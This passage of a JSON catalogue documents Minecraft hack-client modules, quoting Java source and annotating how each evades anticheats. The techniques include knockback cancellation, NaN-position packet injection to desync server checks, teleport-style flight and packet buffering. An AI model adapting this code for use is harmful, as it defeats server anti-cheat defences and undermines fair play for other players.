      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Spicy",
       "Tenacity 6.0",
       "November Recode 2.0"
      ],
      "purpose": "Remove or scale knockback by intercepting the S12 that targets the local player.",
      "how_it_works": "A packet-receive handler checks the entity id; if it matches the player, the packet is cancelled outright (Memeware, Nekoware, Rise 5.99 at 0% settings) or its motion fields are scaled by horizontal/vertical percentages (Spicy, Tenacity). S27PacketExplosion is cancelled or scaled in the same handler because explosion knockback bypasses S12.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/combat/Velocity.java =====\n\npackage me.memewaredevs.client.module.combat;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.module.Module;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\n\nimport java.util.function.Consumer;\n\npublic class Velocity extends Module {\n    public Velocity(final String name, final int key, final Module.Category category) {\n        super(name, key, category);\n    }\n\n    @Override\n    public void onEnable() {\n    }\n\n    @Override\n    public void onDisable() {\n    }\n\n    @Handler\n    public Consumer<PacketInEvent> update = e -> {\n        if (mc.thePlayer == null) {\n            return;\n        }\n        if (e.getPacket() instanceof S27PacketExplosion) {\n            e.cancel();\n        }\n        if (e.getPacket() instanceof S12PacketEntityVelocity) {\n            final S12PacketEntityVelocity packetEntityVelocity = (S12PacketEntityVelocity) e.getPacket();\n            if (packetEntityVelocity.func_149412_c() != mc.thePlayer.getEntityId()) {\n                return;\n            }\n            e.cancel();\n        }\n    };\n}\n// NOTE (AI): Cancels S27PacketExplosion unconditionally and S12 only when the entity id matches the local player. The event bus delivers clientbound packets before the vanilla handler, so the cancel prevents NetHandlerPlayClient from applying the motion. Classic full anti-knockback: no scaling, no modes, no timing games.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/combat/Velocity.java",
      "vanilla_hook": "PacketInEvent (Memeware/Nekoware), EventPacket pre (Spicy), PacketReceiveEvent (Tenacity, Rise 5.99).",
      "anti_cheat_notes": "Outright cancellation is the fastest flag on any velocity-check anticheat; scaling to a nonzero percentage passes on servers that only check for complete absence of motion. Rise 5.99's Custom mode layers timer and attack-time scaling to blur the cancel.",
      "variations": "Memeware and Nekoware are byte-for-byte the same cancel logic. Spicy scales via settings and cancels S27 always. Tenacity scales via NumberSettings and cancels both packets at 0%. Rise 5.99 adds modes (Reverse, Ground, Stack, Follow First Tick) on top of the same Custom scale. November Recode 2.0's VelocityModule is the same-role module with per-mode scaling (REDUCE, REVERSE) and anticheat-specific cancels (GRIM, VULCAN, WATCHDOG_SAFE)."
     },
     {
      "name": "AntiVelocity (Sigma AAC modes)",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Defeat knockback with anticheat-specific tricks instead of a plain cancel.",
      "how_it_works": "Basic mode scales or cancels S12 and cancels S27. AACPush samples the knockback vector, cancels the packet and turns the stored motion into a decaying strafe boost over 10 ticks. AACFlag cancels the packet and injects a C04 with NaN Y while the player is in hurt time, desyncing the anticheat's position model.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/combat/AntiVelocity.java =====\npackage info.sigmaclient.module.impl.combat;\n\nimport tv.twitch.chat.Chat;\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.MoveUtils;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.movement.Fly;\nimport info.sigmaclient.util.MathUtils;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\nimport net.minecraft.util.MathHelper;\n/*\n * Made by LeakedPvP\n */\npublic class AntiVelocity extends Module {\n    private String VELOCITY = \"MODE\";\n    public AntiVelocity(ModuleData data) {\n        super(data);\n        settings.put(VELOCITY, new Setting<>(VELOCITY, new Options(\"Mode\", \"Basic\", new String[]{\"Basic\", \"AACPush\", \"AACFlag\"}), \"AntiVelocity method.\"));\n        settings.put(HORIZONTAL, new Setting<>(HORIZONTAL, 0, \"Horizontal velocity factor.\", 10, 0, 100));\n        settings.put(VERTICAL, new Setting<>(VERTICAL, 0, \"Vertical velocity factor.\", 10, 0, 100));\n    }\n    double count = 0;\n    public static String HORIZONTAL = \"HORIZONTAL\";\n    public static String VERTICAL = \"VERTICAL\";\n    double xmot, zmot, ymot = 0;\n    @Override\n    public void onEnable() {\n        super.onEnable();\n        count = 0;\n    }\n    @Override\n    @RegisterEvent(events = {EventPacket.class,EventUpdate.class})\n    public void onEvent(Event event) {\n    \tString currentMode = ((Options) settings.get(VELOCITY).getValue()).getSelected();\n        setSuffix(currentMode);\n    \tif(event instanceof EventPacket){\n        EventPacket ep = (EventPacket) event;\n        Packet p = ep.getPacket();\n        if (ep.isOutgoing()) {\n            if (p instanceof C03PacketPlayer)\n                return;\n        }    \n        if(p instanceof S08PacketPlayerPosLook){\n        \tS08PacketPlayerPosLook pac = (S08PacketPlayerPosLook) ep.getPacket();\n        \tif(currentMode.equalsIgnoreCase(\"AACFlag\") && mc.thePlayer.hurtResistantTime > 0){\n        \t\tpac.yaw = mc.thePlayer.rotationYaw;\n            \tpac.pitch = mc.thePlayer.rotationPitch;\n        \t}\n           \n        }\n        if (p instanceof S12PacketEntityVelocity) {\n        \t\n            S12PacketEntityVelocity packet = (S12PacketEntityVelocity) p;\n        \tint entId = packet.getEntityID();\n\t\t\tint x = packet.getX();\n\t\t\tint y = packet.getY();\n\t\t\tint z = packet.getZ();\n            if (entId == mc.thePlayer.getEntityId() && !(Client.getModuleManager().isEnabled(Fly.class) && ((Options)Client.getModuleManager().get(Fly.class).getSetting(\"MODE\").getValue()).getSelected().equalsIgnoreCase(\"BowFly\"))) {\n            \tswitch(currentMode){\n            \tcase\"AACPush\":\n            \t\tif(x != 0 && z != 0){\n                \t\tcount = 10;\n                \t\txmot = x/1000;\n                \t\tzmot = z/1000;\t\n            \t\t}\n            \t\tbreak;\n            \tcase\"Basic\":\n                    int vertical = ((Number) settings.get(VERTICAL).getValue()).intValue();\n                    int horizontal = ((Number) settings.get(HORIZONTAL).getValue()).intValue();\n                    if (vertical != 0 || horizontal != 0) {\n                        packet.setMotX(horizontal * packet.getX() / 100);\n                        packet.setMotY(vertical * packet.getY() / 100);\n                        packet.setMotZ(horizontal * packet.getZ() / 100);\n                    } else {\n                        ep.setCancelled(true);\n                    }\n            \t\tbreak;\n            \tcase\"AACFlag\":\n            \t\tif(x != 0 && z != 0){\n            \t\t\tC04PacketPlayerPosition pack = new C04PacketPlayerPosition(mc.thePlayer.posX, Double.NaN, mc.thePlayer.posZ, true);\n        \t   \t\t\tmc.thePlayer.sendQueue.addToSendQueue(pack);\n        \t   \t\t\tep.setCancelled(true);\n            \t\t}\n            \t\tbreak;\n            \t}\n            } \n        }\n        if (p instanceof S27PacketExplosion && currentMode.equalsIgnoreCase(\"basic\")) {\n        \tif(ep.isPre()){\n                ep.setCancelled(true);\n        \t}\n        \n        }\n    \t}else if(event instanceof EventUpdate && mc.thePlayer.hurtResistantTime > 0 && currentMode.equalsIgnoreCase(\"aacpush\")){\n               \n    \t\tif(count > 0){\n    \t\t\tdouble boost = 0.05 - count/200;\n    \t\t\tcount --;\n    \t\t\tif(count <=10){\n    \t\t\t\tdouble speedcheck = Math.sqrt(xmot * xmot + zmot * zmot);\n    \t\t\t\t\n    \t\t\t\tMoveUtils.strafe(boost);\n    \t\t\t\tdouble speed = Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ);\n    \t\t\t\tif(speed > 0.35){\n    \t\t\t\t\tcount = 0;\n    \t\t\t\t\tmc.thePlayer.motionX *= 0;\n    \t\t\t\t\tmc.thePlayer.motionZ *= 0;\n    \t\t\t\t\tMoveUtils.strafe(0.2);\n    \t\t\t\t}\n    \t\t\t\tif(mc.thePlayer.moveForward == 0 && mc.thePlayer.moveStrafing == 0){\n    \t\t\t\t\tdouble value = 0.8-boost;\n    \t\t\t\t\tmc.thePlayer.motionX *= value;\n    \t\t\t\t\tmc.thePlayer.motionZ *= value;\n    \t\t\t\t}\t\t\t\n    \t\t\t}\n    \t\t}\n    \t}\n    }\n}\n// NOTE (AI): Three modes. Basic scales or cancels S12 and cancels S27. AACPush converts the knockback vector into a decaying strafe boost over 10 ticks. AACFlag sends a NaN-position C04 while the knockback is live to derail the anticheat's position tracking, then cancels the packet. The Fly BowFly check stops anti-knockback from eating the velocity a bow-boost fly depends on.",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/combat/AntiVelocity.java",
      "vanilla_hook": "EventPacket (registerEvent with EventUpdate), pre stage for clientbound.",
      "anti_cheat_notes": "The AACFlag NaN-position injection is a hostile desync that several 1.8 anti-cheats mis-handle; it is also the most detectable pattern in the module when the server sanity-checks NaN coordinates. AACPush keeps motion nonzero, which defeats simple knockback-absence checks.",
      "variations": "The module also guards Sigma's own BowFly: when Fly is in BowFly mode the S12 for the player is left intact so the bow-boost velocity is preserved."
     },
     {
      "name": "Velocity / Rise 6.x suite (per-anticheat modes)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Per-anticheat anti-knockback: ten modes in the Velocity module, each tuned to a specific server anticheat.",
      "how_it_works": "Each mode is a Mode subclass of the Velocity module handling PacketReceiveEvent: StandardVelocity scales/cancels and optionally copies the server's vertical motion into motionY; GrimVelocity, VulcanVelocity, MMCVelocity, RedeskyVelocity and UniversoCraftVelocity tune cancellation and replay timing per anticheat; WatchdogVelocity and WatchdogPredictionVelocity emulate the knockback the Watchdog check expects; BufferAbuseVelocity and LegitVelocity delay or minimize application. The onSwing gate skips handling unless the player is swinging, which hides the module's presence during combos.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/StandardVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.combat.Criticals;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\npublic final class StandardVelocity extends Mode<Velocity> {\n    public Boolean disable2 = false;\n\n    private Integer time = 0;\n    private Speed speed = null;\n\n    private String mode = null;\n\n    private int amount;\n\n    private final NumberValue horizontal = new NumberValue(\"Horizontal\", this, 0, 0, 100, 1);\n    private final NumberValue vertical = new NumberValue(\"Vertical\", this, 0, 0, 100, 1);\n\n    private final BooleanValue onExplode = new BooleanValue(\"Explosion Ignore\", this, false);\n\n\n    @Override\n    public void onEnable() {\n      time = 0;\n    setDisable2(false);\n    }\n\n    public StandardVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if ((getParent().onSwing.getValue() && !mc.thePlayer.isSwingInProgress) || event.isCancelled()) {\n            return;\n        }\n\n        final Packet<?> p = event.getPacket();\n\n        final double horizontal = this.horizontal.getValue().doubleValue();\n        final double vertical = this.vertical.getValue().doubleValue();\n        final boolean onExplode = this.onExplode.getValue();\n\n        if (p instanceof S12PacketEntityVelocity) {\n\n            final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) p;\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId()) {\n\n\n    if (horizontal == 0) {\n        if (vertical != 0 && !event.isCancelled()) {\n\n            mc.thePlayer.motionY = wrapper.getMotionY() / 8000.0D;\n        }\n\n\n        event.setCancelled();\n        return;\n    }\n\n    wrapper.motionX *= horizontal / 100;\n    wrapper.motionY *= vertical / 100;\n    wrapper.motionZ *= horizontal / 100;\n\n    event.setPacket(wrapper);\n\n\n            }\n        } else if (p instanceof S27PacketExplosion) {\n            final S27PacketExplosion wrapper = (S27PacketExplosion) p;\n\n            if (onExplode) {\n                event.setCancelled();\n                return;\n            }\n\n            wrapper.posX *= horizontal / 100;\n            wrapper.posY *= vertical / 100;\n            wrapper.posZ *= horizontal / 100;\n\n            event.setPacket(wrapper);\n        }\n    };\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (speed == null) {\n            speed = getModule(Speed.class);\n\n        }\n\n\n/*\nif(speed.isEnabled() && Client.INSTANCE.getModuleManager().get(Speed.class).mode.getValue().getName().equals(\"Watchdog\")) {\n\n        if (mc.thePlayer.hurtTime > 9) {\n            mc.thePlayer.motionZ *= 0;\n            mc.thePlayer.motionX *= 0;\n            time++;\n\n            if (!MoveUtil.isMoving()) {\n                mc.thePlayer.motionZ *= 0;\n                mc.thePlayer.motionX *= 0;\n            }\n        }\n\n        if (mc.thePlayer.hurtTime == 9) {\n            if (MoveUtil.isMoving() && !mc.thePlayer.onGround && !( mc.thePlayer.offGroundTicks == 1)) {\n               // MoveUtil.partialStrafePercent(99);\n                double speed =1;\n                speed = Math.random()/50;\n                MoveUtil.strafe(.3);\n                  // mc.thePlayer.motionZ *= .95;\n                 //  mc.thePlayer.motionX *= .95;\n            } else {\n                mc.thePlayer.motionZ *= -.2;\n                mc.thePlayer.motionX *= -.2;\n            }\n\n\n        }\n    }\n\n */\n\n    };\n\n    @EventLink\n    public final Listener<TeleportEvent> onTeleport = event -> {\n        if (event.getPosY() < mc.thePlayer.posY - 2);\n\n\n    };\n\n    public Boolean getDisable2() {\n        return disable2;\n    }\n\n    public void setDisable2(Boolean disable2) {\n        this.disable2 = disable2;\n    }\n}\n// NOTE (AI): Base mode of the Rise 6.x Velocity module. Cancels S12 outright when both sliders are 0, otherwise rescales and re-sets the packet on the event so the pipeline sees a modified packet. The vertical-only branch copies the server velocity into motionY directly, preserving the y-component anti-cheats expect while dropping horizontal drift. S27 explosion knockback is scaled or cancelled via the Explosion Ignore toggle.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/StandardVelocity.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, TeleportEvent; packet replaced via event.setPacket.",
      "anti_cheat_notes": "The suite's core trick is not cancelling but reshaping: rescale the packet and re-set it so the pipeline delivers a modified but present velocity, then let one tick of real knockback through. The commented-out Watchdog strafe logic in StandardVelocity shows the iteration history of the mode.",
      "variations": "6.2.4 adds WatchdogPredictionVelocity to the 6.1.30 lineup; the mode set otherwise matches (Grim, Legit, MMC, Redesky, Standard, UniversoCraft, Vulcan, Watchdog, BufferAbuse)."
     },
     {
      "name": "Flight / LongJump (movement boost)",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Tenacity 6.0"
      ],
      "purpose": "Use the player's own S12 as a trigger or fuel for flight and longjump acceleration.",
      "how_it_works": "Flight and longjump modes listen for S12 targeting the player and either flip a state flag that enables teleport-style flight (GrimFlight TNT), buffer the velocity for a follow-up boost (WatchdogLongJump, WatchdogFireball), or scale it into movement acceleration (Sigma Fly, Tenacity FlightModule). The packet is deliberately not cancelled, because the anti-cheat expects the knockback motion to exist.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/flight/GrimFlight.java =====\npackage com.alan.clients.module.impl.movement.flight;\n\nimport com.alan.clients.component.impl.player.Slot;\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.rotation.RotationUtil;\nimport com.alan.clients.util.vector.Vector2f;\nimport com.alan.clients.util.vector.Vector3d;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.ModeValue;\nimport com.alan.clients.value.impl.SubMode;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MovingObjectPosition;\n\npublic class GrimFlight extends Mode<Flight> {\n\n    private final ModeValue Mode = new ModeValue(\"Sub-Mode\", this)\n            .add(new SubMode(\"Block\"))\n            .add(new SubMode(\"TNT\"))\n            .setDefault(\"Block\");\n\n    private Boolean Flight;\n\n    public GrimFlight(String name, Flight parent) {\n        super(name, parent);\n    }\n\n    @Override\n    public void onEnable() {\n        Flight = false;\n        if(Mode.getValue().getName().equals(\"Block\")) {\n            ChatUtil.display(\"Any blocks you place will be ghost blocks. You have infinite range to place blocks.\");\n        } else {\n            NotificationComponent.post(\"Grim TNT Fly\",\"Get knock-back from a TNT to trigger the flight\",2500);\n        }\n    }\n\n    \n\n    @EventLink\n    private final Listener<PreMotionEvent> preMotion = event -> {\n        switch(Mode.getValue().getName()) {\n            case \"Block\":\n                if (mc.gameSettings.keyBindUseItem.isKeyDown()) {\n                    // Creating a variable that gets the block that the user is looking at and creating another variable with incremented Y position of the position so that the user teleports on top of the block.\n                    MovingObjectPosition movingObjectPosition = mc.thePlayer.rayTrace(999, 1);\n                    if (movingObjectPosition == null) return;\n\n                    final BlockPos pos = movingObjectPosition.getBlockPos();\n                    final BlockPos tpPos = pos.offset(movingObjectPosition.sideHit, 4);\n\n                    Vector2f rotations = RotationUtil.calculate(\n                            new Vector3d(tpPos.getX(), tpPos.getY(), tpPos.getZ()),\n                            new Vector3d(pos.getX(), pos.getY(), pos.getZ()));\n                    PacketUtil.send(new C03PacketPlayer.C06PacketPlayerPosLook(tpPos.getX(), tpPos.getY() - 1, tpPos.getZ(), rotations.x, rotations.y, false));\n\n                    mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, getComponent(Slot.class).getItemStack(),\n                            movingObjectPosition.getBlockPos(), movingObjectPosition.sideHit, movingObjectPosition.hitVec);\n                }\n                break;\n            case \"TNT\":\n                if(Flight) {\n                    final double yaw = Math.toRadians(MoveUtil.direction());\n\n                    event.setPosX(mc.thePlayer.posX - Math.sin(yaw) * 500);\n                    event.setPosY(MoveUtil.predictedMotion(mc.thePlayer.motionY));\n                    event.setPosZ(mc.thePlayer.posZ + Math.cos(yaw) * 500);\n                }\n                break;\n        }\n    };\n\n    @EventLink\n    private final Listener<PacketReceiveEvent> packetReceiveEventListener = event -> {\n        if (Mode.getValue().getName().equals(\"TNT\")) {\n            if (event.getPacket() instanceof S12PacketEntityVelocity) {\n                final S12PacketEntityVelocity packet = (S12PacketEntityVelocity) event.getPacket();\n\n                if (packet.getEntityID() != mc.thePlayer.getEntityId()) {\n                    return;\n                }\n\n                Flight = true;\n            }\n        }\n    };\n\n    @EventLink\n    private final Listener<TeleportEvent> teleport = event -> {\n        if (Mode.getValue().getName().equals(\"Block\") && mc.gameSettings.keyBindUseItem.isKeyDown()) event.setCancelled();\n    };\n\n}\n// NOTE (AI): TNT sub-mode turns the player's own S12 into a flight trigger: the packet is not cancelled, it flips the Flight flag, and PreMotion then reports the player 500 blocks ahead along the move direction every tick. Letting the velocity packet through is deliberate, because Grim's knockback check expects the motion to be present.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/flight/GrimFlight.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, TeleportEvent.",
      "anti_cheat_notes": "These modes are the flip side of anti-knockback: they need the S12 to arrive intact, so they must not conflict with the Velocity module, and they exploit the fact that the server cannot distinguish a knockback-boosted jump from a legitimate one when the packet was never tampered with.",
      "variations": "Rise 5.99 uses S12 in Fly Minemenclub and LongJump Hycraft/Vulcan; Rise 6.x spreads it across GrimFlight, MatrixFlight, MineLandFlight, WatchdogFlight, WatchdogJesus, WatchdogLongJump, WatchdogBowLongJump, WatchdogFireball, NCPSpeed and WatchdogSpeed; Sigma handles it inside Fly; Tenacity inside FlightModule."
     },
     {
      "name": "PingSpoofComponent (velocity buffer)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Delay S12 alongside transactions and keepalives while ping spoofing, which delays knockback application as a side effect.",
      "how_it_works": "The component classifies packets into tuples: S12 is grouped with S27 in the velocity tuple. While a spoof is active, matching packets are cancelled from the event stream and parked in a timestamped queue; onPostMotion flushes entries whose delay elapsed via PacketUtil.queue, which bypasses the event bus. The players tuple holds S13 and the S14/S18/S19/S20 entity stream so entity ordering survives the buffering.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n// NOTE (AI): Component shared by PingSpoof and the Timer module. S12 is grouped with S27 in the velocity tuple; while a spoof is active the packets are pulled out of the event stream, timestamped and replayed by dispatch(). Delaying S12 delays knockback application, so the component doubles as a soft anti-velocity. The players tuple (S13, S14 family, S18, S19, S20) keeps entity-stream ordering intact while entity packets are held.",
      "code_source": "Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketSendEvent, PacketReceiveEvent, PostMotionEvent, WorldChangeEvent.",
      "anti_cheat_notes": "Delayed S12 is safe against velocity checks that sample a single tick (the knockback still arrives), but dangerous against checks that measure the gap between the hit and the motion, which is why the component is paired with per-anticheat Velocity modes in the same client.",
      "variations": "Identical component in 6.1.30 and 6.2.4; 6.2.4's PingSpoof and Timer modules both drive it via the static spoof() entry points."
     },
     {
      "name": "VelocityModule (per-anticheat modes)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Per-mode anti-knockback: scale, reverse or cancel S12 for the local player, with anticheat-specific transaction handling for Grim and Vulcan.",
      "how_it_works": "The packet listener ignores S12 whose entity id is not the local player, then switches on mode. REDUCE and REVERSE scale the motion fields in place with horizontal and vertical percentages and REVERSE negates the result; CANCEL, GRIM and VULCAN cancel the event; INTAVE and WATCHDOG are TODO stubs; WATCHDOG_SAFE cancels then re-applies only the vertical component to motionY while on the ground. GRIM mode additionally buffers S32 confirm-transaction actions and cancels the matching C0F echo on the send side; VULCAN cancels a single C0F echo after the first knockback.",
